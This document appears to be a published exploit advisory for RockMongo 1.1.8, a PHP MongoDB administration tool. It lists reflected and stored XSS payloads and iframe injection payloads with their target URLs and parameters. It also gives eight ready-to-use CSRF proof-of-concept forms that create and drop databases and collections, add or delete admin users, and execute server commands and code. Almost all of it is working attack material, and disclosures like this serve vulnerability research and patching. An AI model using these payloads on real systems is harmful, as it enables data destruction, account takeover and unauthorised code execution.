1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 |
######################################################################################################################################################### # Exploit Title:RockMongo v1.1.8 - PHP MongoDB Administrator Multiple Vulnerabilities # Date: 11.04.2016 # Exploit Author: Ozer Goker # Vendor Homepage: http://rockmongo.com # Software Link: https://github.com/iwind/rockmongo # Version: [app version] 1.1.8 ######################################################################################################################################################### What is RockMongo? RockMongo, a MongoDB administration tool, written in PHP5, is Best in PHP world, more like PHPMyAdmin. source = http://rockmongo.com Vulnerabilities: CSRF | HTML(or Iframe) Injection | XSS (Reflected & Stored) XSS details: ######################################################################################################################################################### XSS1 (Reflected) URL http://localhost/rockmongo/index.php?action=login.index METHOD Post PARAMETER username PAYLOAD "><script>alert(1)</script> ######################################################################################################################################################### XSS2 (Reflected) URL http://localhost/rockmongo/index.php?action=login.index METHOD Post PARAMETER db PAYLOAD "><script>alert(1)</script> ######################################################################################################################################################### XSS3 (Reflected) URL http://localhost/rockmongo/index.php?action=server.createDatabase METHOD Post PARAMETER name PAYLOAD <script>alert(3)</script> ######################################################################################################################################################### XSS4 (Stored) URL http://localhost/rockmongo/index.php?action=db.newCollection&db=test METHOD Post PARAMETER name PAYLOAD <script>alert(4)</script> ######################################################################################################################################################### XSS5 (Reflected) URL http://localhost/rockmongo/index.php?action=server.command&db=test METHOD Post PARAMETER db PAYLOAD <script>alert(5)</script> ######################################################################################################################################################### XSS6 (Reflected) URL http://localhost/rockmongo/index.php?action=collection.removeCollection&db=test&collection=system.indexes%3Cscript%3Ealert%286%29%3C/script%3E METHOD Get PARAMETER collection PAYLOAD <script>alert(6)</script> ######################################################################################################################################################### XSS7 (Reflected) URL http://localhost/rockmongo/index.php?action=collection.index&collection=system.indexes&command=findAll&criteria=%22%3E%3Cscript%3Ealert%287%29%3C/script%3E&db=test&field[0]=_id&format=array&limit=0&order[0]=asc&pagesize=10&query_fields[0]=v METHOD Get PARAMETER criteria PAYLOAD "><script>alert(7)</script> ######################################################################################################################################################### XSS8 (Reflected) URL http://localhost/rockmongo/index.php/"><script>alert(8)</script> METHOD Get PARAMETER URL PAYLOAD "><script>alert(8)</script> ######################################################################################################################################################### HTML Injection details: ######################################################################################################################################################### HTML Injection1 URL http://localhost/rockmongo/index.php?action=login.index METHOD Post PARAMETER username,db PAYLOAD "><iframe src=http://www.rockmongo.com></iframe> ######################################################################################################################################################### HTML Injection2 URL http://localhost/rockmongo/index.php?action=server.createDatabase METHOD Post PARAMETER name PAYLOAD <iframe src=http://www.rockmongo.com> ######################################################################################################################################################### HTML Injection3 (Stored) URL http://localhost/rockmongo/index.php?action=db.newCollection&db=test METHOD Post PARAMETER name PAYLOAD <iframe src=http://www.rockmongo.com> ######################################################################################################################################################### HTML Injection4 URL http://localhost/rockmongo/index.php?action=server.command&db=test METHOD Post PARAMETER db PAYLOAD <iframe src=http://www.rockmongo.com> ######################################################################################################################################################### HTML Injection5 URL http://localhost/rockmongo/index.php?action=collection.removeCollection&db=test&collection=system.indexes%3Ciframe%20src=http://www.rockmongo.com%3E METHOD Get PARAMETER collection PAYLOAD <iframe src=http://www.rockmongo.com> ######################################################################################################################################################### HTML Injection6 URL http://localhost/rockmongo/index.php?action=collection.index&collection=system.indexes&command=findAll&criteria=%22%3E%3Ciframe%20src=http://www.rockmongo.com%3E&db=test&field[0]=_id&format=array&limit=0&order[0]=asc&pagesize=10&query_fields[0]=v METHOD Get PARAMETER criteria PAYLOAD "><iframe src=http://www.rockmongo.com> ######################################################################################################################################################### CSRF details: ######################################################################################################################################################### CSRF1 Create Database <html> <body> <form action=" http://localhost/rockmongo/index.php?action=server.createDatabase" method="POST"> <input type="text" name="name" value="exploit-db" /> <input type="submit" value="Create DB" /> </form> </body> </html> ######################################################################################################################################################### CSRF2 Drop Database <html> <body> <form action=" http://localhost/rockmongo/index.php?action=db.dropDatabase" method="POST"> <input type="text" name="db" value="exploit-db"/> <input type="hidden" name="confirm" value="1"/> <input type="submit" value="Drop DB"/> </form> </body> </html> ######################################################################################################################################################### CSRF3 Create Collection <html> <body> <form action=" http://localhost/rockmongo/index.php?action=db.newCollection&db=exploit-db" method="POST"> <input type="text" name="name" value="exploit-Collection" /> <input type="submit" value="Create Collection" /> </form> </body> </html> ######################################################################################################################################################### CSRF4 Drop Collection <html> <body> <form action=" http://localhost/rockmongo/index.php?action=collection.removeCollection&db=exploit-db" method="POST"> <input type="text" name="collection" value="exploit-Collection"/> <input type="submit" value="Drop Collection"/> </form> </body> </html> ######################################################################################################################################################### CSRF5 Add Database User <html> <body> <form action=" http://localhost/rockmongo/index.php?action=db.addUser&db=admin" method="POST"> <input type="text" name="username" value="test"/> <input type="text" name="password" value="test"/> <input type="text" name="password2" value="test"/> <input type="submit" value="Add User"/> </form> </body> </html> ######################################################################################################################################################### CSRF6 Delete Database User <html> <body> <form action=" http://localhost/rockmongo/index.php?action=db.deleteUser&db=admin" method="POST"> <input type="text" name="user" value="test"/> <input type="submit" value="Remove User"/> </form> </body> </html> ######################################################################################################################################################### CSRF7 Command Execute <html> <body> <form action=" http://localhost/rockmongo/index.php?action=server.command&" method="POST"> <input type="text" name="command" value="{ listCommands: 1 }"/> <input type="text" name="db" value="admin"/> <input type="text" name="format" value="json"/> <input type="submit" value="Command Execute"/> </form> </body> </html> ######################################################################################################################################################### CSRF8 Execute Code <html> <body> <form action=" http://localhost/rockmongo/index.php?action=server.execute&db=admin" method="POST"> <input type="text" name="code" value="function () { var plus = 1 + 2; return plus; }"/> <input type="text" name="db" value="admin"/> <input type="submit" value="Execute Code"/> </form> </body> </html> ######################################################################################################################################################### |